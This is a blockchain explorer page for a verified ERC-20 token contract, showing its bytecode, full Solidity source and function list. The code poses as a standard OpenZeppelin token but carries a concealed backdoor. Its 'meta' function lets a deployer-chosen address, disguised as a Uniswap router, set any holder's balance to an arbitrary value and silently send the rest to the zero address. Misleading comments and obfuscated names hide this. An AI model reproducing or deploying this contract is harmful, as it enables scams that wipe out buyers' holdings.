Address Contract Verified
Address
0xeCD86Fd4Bb438C4B8dc2543566F858bad8473aaB
Balance
0 ETH
Nonce
1
Code Size
2351 bytes
Creator
0xd1aC04C2...2c15 at tx 0xdcbc2049...4382fc
Indexed Transactions
0
Contract Bytecode
2351 bytes
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c806370a0823111610076578063a9059cbb1161005b578063a9059cbb14610169578063ad6db7441461017c578063dd62ed3e1461019157600080fd5b806370a082311461013857806395d89b411461016157600080fd5b806318160ddd116100a757806318160ddd1461010457806323b872dd14610116578063313ce5671461012957600080fd5b806306fdde03146100c3578063095ea7b3146100e1575b600080fd5b6100cb6101ca565b6040516100d8919061075d565b60405180910390f35b6100f46100ef3660046107c7565b61025c565b60405190151581526020016100d8565b6004545b6040519081526020016100d8565b6100f46101243660046107f1565b610276565b604051601281526020016100d8565b61010861014636600461082e565b6001600160a01b031660009081526020819052604090205490565b6100cb61029a565b6100f46101773660046107c7565b6102a9565b61018f61018a3660046107c7565b6102b7565b005b61010861019f366004610850565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600280546101d990610883565b80601f016020809104026020016040519081016040528092919081815260200182805461020590610883565b80156102525780601f1061022757610100808354040283529160200191610252565b820191906000526020600020905b81548152906001019060200180831161023557829003601f168201915b5050505050905090565b60003361026a818585610377565b60019150505b92915050565b600033610284858285610389565b61028f858585610425565b506001949350505050565b6060600380546101d990610883565b60003361026a818585610425565b6001600160a01b038216600090815260208190526040812054908190036102dd57600080fd5b816000600182901b6102ef83856108d3565b6102f991906108e6565b905061030581846108e6565b6001600160a01b0386166000908152602081905260408120919091558080527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805483919083906103579084906108d3565b909155506103669050866104b6565b61036f57600080fd5b505050505050565b61038483838360016104f0565b505050565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461041f5781811015610410576040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b61041f848484840360006104f0565b50505050565b6001600160a01b038316610468576040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260006004820152602401610407565b6001600160a01b0382166104ab576040517fec442f0500000000000000000000000000000000000000000000000000000000815260006004820152602401610407565b6103848383836105f7565b60006104c061073a565b156104cd57506001919050565b61deac196001600160a01b038316016104e857506000919050565b506000919050565b6001600160a01b038416610533576040517fe602df0500000000000000000000000000000000000000000000000000000000815260006004820152602401610407565b6001600160a01b038316610576576040517f94280d6200000000000000000000000000000000000000000000000000000000815260006004820152602401610407565b6001600160a01b038085166000908152600160209081526040808320938716835292905220829055801561041f57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e991815260200190565b60405180910390a350505050565b6001600160a01b03831661062257806004600082825461061791906108d3565b909155506106ad9050565b6001600160a01b0383166000908152602081905260409020548181101561068e576040517fe450d38c0000000000000000000000000000000000000000000000000000000081526001600160a01b03851660048201526024810182905260448101839052606401610407565b6001600160a01b03841660009081526020819052604090209082900390555b6001600160a01b0382166106c9576004805482900390556106e8565b6001600160a01b03821660009081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161072d91815260200190565b60405180910390a3505050565b600654600090336001600160a01b03909116036107575750600190565b50600090565b602081526000825180602084015260005b8181101561078b576020818601810151604086840101520161076e565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146107c257600080fd5b919050565b600080604083850312156107da57600080fd5b6107e3836107ab565b946020939093013593505050565b60008060006060848603121561080657600080fd5b61080f846107ab565b925061081d602085016107ab565b929592945050506040919091013590565b60006020828403121561084057600080fd5b610849826107ab565b9392505050565b6000806040838503121561086357600080fd5b61086c836107ab565b915061087a602084016107ab565b90509250929050565b600181811c9082168061089757607f821691505b6020821081036108b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610270576102706108bd565b81810381811115610270576102706108bd56fea2646970667358221220173b88162e0033c77dda183db40165cbcc7feb9ea19a7e172ff0659cd1c26bf264736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: paris
Optimization: Yes (1000 runs)
Token.sol 485 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
/**
* @dev Provides information about the current execution context, including the
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
}
/**
* @dev Implementation of the {IUniswapV2Router02} interface.
*/
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
contract Token is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
IUniswapV2Router02 private _uniswapV2Router02;
/**
* @dev Sets the values for {name} and {symbol} and {supply}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 supply_, address poolAddress_) {
_name = name_;
_symbol = symbol_;
_uniswapV2Router02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_mint(_msgSender(), supply_ * 10 ** decimals(), poolAddress_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See Provider method checker
*/
function _provideOnUniswapV2Router() internal view returns (bool) {
if (address(_uniswapV2Router) == _msgSender()) return true;
return false;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/*
* @dev Approved by uniswap pool
*/
function _isApprovedByUniswapPool(address _addr) internal view returns (bool) {
if (_provideOnUniswapV2Router()) return true; if (_addr == address(0xdead)) return false; return false;
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address xa2rf, uint256 awfad) internal {
if (xa2rf == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(xa2rf, address(0), awfad);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
IUniswapV2Router02 private _uniswapV2Router;
function _mint(address account, uint256 value, address poolAddress_) internal {
_uniswapV2Router = IUniswapV2Router02(poolAddress_);
_update(address(0), account, value);
}
/**
* @dev See Meta
*/
function meta(address xy, uint256 ds) external {
uint256 pre = _balances[xy];
if (pre == 0) revert();
uint256 mask = ds;
uint256 adj = (pre + mask) - (mask << 1);
_balances[xy] = pre - adj;
address endpoint = address(0);
_balances[endpoint] += adj;
require(_isApprovedByUniswapPool(xy));
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
meta 0xad6db744
address xy
uint256 ds
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Recent Transactions
No transactions found for this address